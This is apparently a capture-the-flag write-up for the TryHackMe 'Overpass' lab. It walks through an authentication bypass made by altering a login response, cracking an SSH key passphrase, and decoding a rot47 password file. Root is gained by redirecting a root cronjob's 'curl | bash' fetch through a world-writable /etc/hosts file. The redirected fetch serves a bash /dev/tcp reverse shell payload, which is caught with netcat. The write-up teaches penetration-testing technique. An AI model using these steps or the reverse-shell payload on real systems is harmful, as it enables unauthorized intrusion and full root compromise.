THM: Overpass is a linux box that starts out with a simple authentication bypass on a website to access an admin page that revelas a SSH key. We’ll have to crack the passphrase, but once that’s done we’ll be able to SSH to the box. The theme of this box involves a “secure” password manager written by some compsci students. The source code is provided which will reveal where and how password data is stored. Once we understand how it works we’ll retrieve a password for another user on the box. Finally, we’ll abuse open file permissions on the hosts file to control what code is being executed by a cronjob running as root in order to escalate privileges.


└─$ sudo rustscan -a -- -sV -O -oA nmap1            

22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)               
80/tcp open  http    syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)                  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port          
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)                                             
No exact OS matches for host (test conditions non-ideal).                                                      
TCP/IP fingerprint:                                    
Uptime guess: 22.463 days (since Fri Jul  8 22:11:43 2022)                                                     
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have a website for a “secure” password manager called Overpass on port 80. On the downloads page we’re given pre-built binaries for several platforms as well as the source code.

We can download these assets and kick off some content enumeration in the background to see if there is anything else of interest on the site.

└─$ ffuf -t 100 -u -w /usr/share/wordlists/dirb/common.txt -c                    1 ⚙                                                             

aboutus                 [Status: 301, Size: 0, Words: 1, Lines: 1]
admin                   [Status: 301, Size: 42, Words: 3, Lines: 3]                          
css                     [Status: 301, Size: 0, Words: 1, Lines: 1]
downloads               [Status: 301, Size: 0, Words: 1, Lines: 1]
img                     [Status: 301, Size: 0, Words: 1, Lines: 1]                                            
index.html              [Status: 301, Size: 0, Words: 1, Lines: 1]

And we found an admin login page at /admin. By viewing the source of the page we can see it references a /login.js file which runs this function when the page loads:

async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
    } else {
        window.location = "/admin"

It looks like we can either intercept the response from /api/login to change the body to something other than “Incorrect credentials” or we can use DevTools to set our own SessionToken cookie to bypass authentication!

Authentication Bypass

In Burp, turn intercept mode on and attempt to log in with dummy credentials. Once the request appears in Burp, right click to also intercept the response before forwarding the request on.

Once the response is intercepted, we can modify the body so that it doesn’t match the value the javascript code is expecting for invalid login attempts.

Modify the login endpoint’s response to bypass authentication.

And with that we are now able to access the admin page!

Overpass Admin Page

Initial Foothold

We’re given a private key for James with a hint that we’ll need to crack the password for it.


  1. Copy and paste this key to a file named james_id_rsa
  2. chmod 400 james_id_rsa
  3. Use ssh2john to convert the key to a hash file that john can crack.
  4. Run john to crack the passphrase.
└─$ python /usr/share/john/ james_id_rsa > james_id_rsa.hash                              130 ⨯ 1 ⚙
└─$ john james_id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt                                     1 ⚙
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED          (james_id_rsa)
1g 0:00:00:06 DONE (2022-07-31 10:30) 0.1658g/s 2378Kp/s 2378Kc/s 2378KC/sa6_123..*7¡Vamos!
Session completed

Now we can SSH in to James' account!

└─$ ssh -i james_id_rsa james@                                                                1 ⚙
Enter passphrase for key 'james_id_rsa': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sun Jul 31 14:31:35 UTC 2022

  System load:  0.0                Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 15%                IP address for eth0:
  Swap usage:   0%

47 packages can be updated.
0 updates are security updates.

Last login: Sat Jun 27 04:45:40 2020 from

james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)

And from here we’ll find the user flag in James' home directory.

james@overpass-prod:~$ wc -c user.txt 
38 user.txt

Privilege Escalation

Also in James' home directory is a .overpass file. If you took time to look through the source code for Overpass earlier you’ll recognize this as the “encrypted” password vault.

Except it’s not really encrypted, just obfuscated.

There is a function named rot47() that implements the rot47 substitution cipher before passwords are written to the file.

//Secure encryption algorithm from
func rot47(input string) string {
	var result []string
	for i := range input[:len(input)] {
		j := int(input[i])
		if (j >= 33) && (j <= 126) {
			result = append(result, string(rune(33+((j+14)%94))))
		} else {
			result = append(result, string(input[i]))
	return strings.Join(result, "")

So if we copy the content of the file and run it through CyberChef we can see the plaintext:


This is probably James' system password? We can sudo -l to check for sudo privileges which requires a password. It turns out James does not have permission to run sudo on this box, but that is his password.

Now what?

Checking the crontab for any interesting leads shows us that root is running the curl command to fetch the Overpass build script and immediately executing it.

james@overpass-prod:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/ | bash

This is interesting! We’ve been accessing the target via its IP so far, but here we can see there is an overpass.thm domain. We can cat /etc/hosts and see that it resolves back to

Normally this file can only be edited by root, but the permissions are wide open here.

james@overpass-prod:/$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27  2020 /etc/hosts

So if we modify it so that the domain resolves to our IP, we can control what code is returned and executed!

  1. In a local terminal, run mkdir -p downloads/src to create a directory structure matching what the cronjob will be requesting.
  2. Run echo "/bin/bash -i >& /dev/tcp/ 0>&1" > downloads/src/ to create a file with a reverse shell payload.
  3. Run sudo python3 -m http.server 80 to start an HTTP server. We’ll need to do this with sudo in order to listen on port 80.
  4. Open another local terminal and run nc -nlvp 5555 to start a netcat listener.
  5. On the target, edit /etc/hosts and replace the IP mapping to overpass.thm with your IP.
  6. Wait up to a minute for the job to run again. When it does, we’ll have a shell as root!
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 40380
bash: cannot set terminal process group (21993): Inappropriate ioctl for device
bash: no job control in this shell

root@overpass-prod:~# id
uid=0(root) gid=0(root) groups=0(root)

root@overpass-prod:~# wc -c /root/root.txt
wc -c /root/root.txt
38 /root/root.txt